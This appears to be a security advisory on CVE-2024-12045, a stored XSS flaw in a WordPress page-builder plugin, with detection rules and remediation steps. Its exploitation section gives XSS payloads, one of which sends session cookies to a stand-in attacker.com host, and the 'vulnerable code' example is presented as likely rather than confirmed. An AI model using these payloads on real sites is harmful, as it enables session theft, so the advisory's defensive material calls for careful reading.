CVE-2024-12045

Executive Summary

CVE-2024-12045 is a Stored Cross-Site Scripting (XSS) vulnerability in the Essential Blocks – Page Builder Gutenberg Blocks, Patterns & Templates plugin for WordPress. The flaw resides in the Google Maps block, specifically within the "maker title" value. Due to insufficient input sanitization and output escaping, an authenticated attacker with administrator-level access can inject arbitrary web scripts. These scripts execute whenever a user accesses the compromised page. The vulnerability is exploitable only on multi-site installations or installations where unfiltered_html has been disabled. The CVSS score is 4.4 (Medium), and no public exploit code or patch is currently available.

WordPress Ecosystem Context

This vulnerability is specific to the WordPress plugin ecosystem. It does not affect the core WordPress software or web servers like Apache or Nginx. The attack vector relies on the plugin's failure to properly sanitize user input within the Gutenberg block editor.

CVSS Breakdown & Threat Level

• CVSS Score: 4.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Attack Vector (AV): Network – The vulnerability can be exploited remotely.
• Attack Complexity (AC): Low – No special conditions are required.
• Privileges Required (PR): High – Administrator-level access is needed.
• User Interaction (UI): Required – A user must visit the injected page.
• Scope (S): Changed – The impact extends beyond the vulnerable component.
• Confidentiality (C): Low – Limited data exposure.
• Integrity (I): Low – Limited ability to modify content.
• Availability (A): None – No impact on availability.

Threat Level: Medium. The requirement for admin privileges reduces the attack surface, but the potential for persistent XSS on multi-site networks or hardened installations makes this a significant risk for targeted attacks.

Deep Dive & Mechanics

The vulnerability is a classic Stored XSS (CWE-79) within the Google Maps block of the Essential Blocks plugin. The plugin allows administrators to add a Google Maps block to posts or pages, including a "maker title" field for custom markers. The plugin fails to properly sanitize and escape this input before storing it in the database and rendering it on the front end.

Attack Flow:

1. An attacker with administrator-level access (e.g., a compromised admin account or a malicious insider) edits a page or post using the Gutenberg editor.
2. The attacker inserts the Essential Blocks Google Maps block and sets the "maker title" to a malicious JavaScript payload, such as <script>alert('XSS')</script>.
3. The plugin stores this payload in the WordPress database without proper sanitization.
4. When any user (including lower-privileged users or visitors) views the page, the payload executes in their browser context.

Why Multi-Site or Disabled unfiltered_html?

• In standard WordPress installations, administrators have the unfiltered_html capability, which allows them to post arbitrary HTML/JavaScript. However, on multi-site networks, this capability is often disabled for security reasons. Similarly, some hardened installations disable it. In these cases, the plugin's lack of sanitization becomes exploitable.

Vulnerable vs. Patched Code

Vulnerable Code (Version <= 5.0.9): The plugin likely outputs the maker title directly without escaping. For example:

echo '<div class="eb-google-map-marker-title">' . $maker_title . '</div>';

Patched Code (Hypothetical): A proper fix would escape the output using WordPress's esc_html() or wp_kses_post():

echo '<div class="eb-google-map-marker-title">' . esc_html( $maker_title ) . '</div>';

Since no official patch is available, users must manually apply input validation and output escaping.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a WordPress admin account on a multi-site installation or a site with unfiltered_html disabled.
• The Essential Blocks plugin version <= 5.0.9 installed and active.

Exploitation Steps:

1. Log in as an administrator.
2. Navigate to a page or post editor.
3. Add the Essential Blocks Google Maps block.
4. In the "Maker Title" field, enter a payload such as:

   <img src=x onerror=alert('XSS')>
   

   or

   <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
   

5. Save/publish the page.
6. Any user visiting the page will trigger the XSS.

Note: No public exploit code is available, but the above manual steps are sufficient for testing.

Blue Team (Detection & Hardening)

Detection:

• Monitor for unusual admin activity, especially edits to pages/posts containing the Essential Blocks Google Maps block.
• Look for suspicious JavaScript in the maker_title field via database queries.
• Use the YARA and Sigma rules provided in the Detection Engineering section.

Hardening:

• Disable the Essential Blocks plugin until a patch is released.
• If the plugin is required, restrict admin access to trusted users only.
• Implement a Web Application Firewall (WAF) rule to block common XSS payloads in the maker_title parameter.
• Enable unfiltered_html only for super admins on multi-site networks.

Indicators of Compromise (IOCs)

• File System: Modified plugin files (e.g., essential-blocks/includes/class-google-map.php) containing unsanitized output.
• Database: Entries in wp_posts or wp_postmeta with malicious JavaScript in the maker_title field.
• Network: Outbound requests to attacker-controlled domains from compromised pages.
• Logs: WordPress audit logs showing admin edits to pages with the Google Maps block.

Detection Engineering

YARA Rule

rule CVE_2024_12045_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in Essential Blocks Google Maps maker title"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-12045"
    strings:
        $xss_payload = /<script[^>]*>.*<\/script[^>]*>/i
        $xss_event = /on\w+\s*=\s*['\"][^'\"]*['\"]/i
        $maker_title = /maker_title/i
    condition:
        $maker_title and ($xss_payload or $xss_event)
}

Sigma Rule

title: CVE-2024-12045 - Stored XSS in Essential Blocks Google Maps Block
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects potential stored XSS via maker_title in Essential Blocks plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: wordpress
detection:
    selection:
        http.method: POST
        http.url|contains: '/wp-admin/post.php'
        http.body|contains: 'maker_title'
        http.body|contains|re: '(<script|on\w+=)'
    condition: selection
falsepositives:
    - Legitimate use of JavaScript in maker title (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2024-12045 - Stored XSS in Essential Blocks Google Maps"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"maker_title"; http_client_body; pcre:"/(<script|on\w+=)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and uninstall Essential Blocks until a patch is released.
2. Restrict Admin Access: Limit administrator accounts to trusted users only.
3. Audit Existing Content: Scan all pages/posts for malicious JavaScript in the Google Maps block.

Long-Term Fix:

• Apply input sanitization and output escaping to the maker_title field. Use esc_html() or wp_kses_post().
• Implement a Content Security Policy (CSP) to mitigate XSS impact.
• Monitor the plugin's official repository for a security update.

Workaround:

• If the plugin cannot be disabled, use a WAF to block XSS payloads in the maker_title parameter.

Valters IT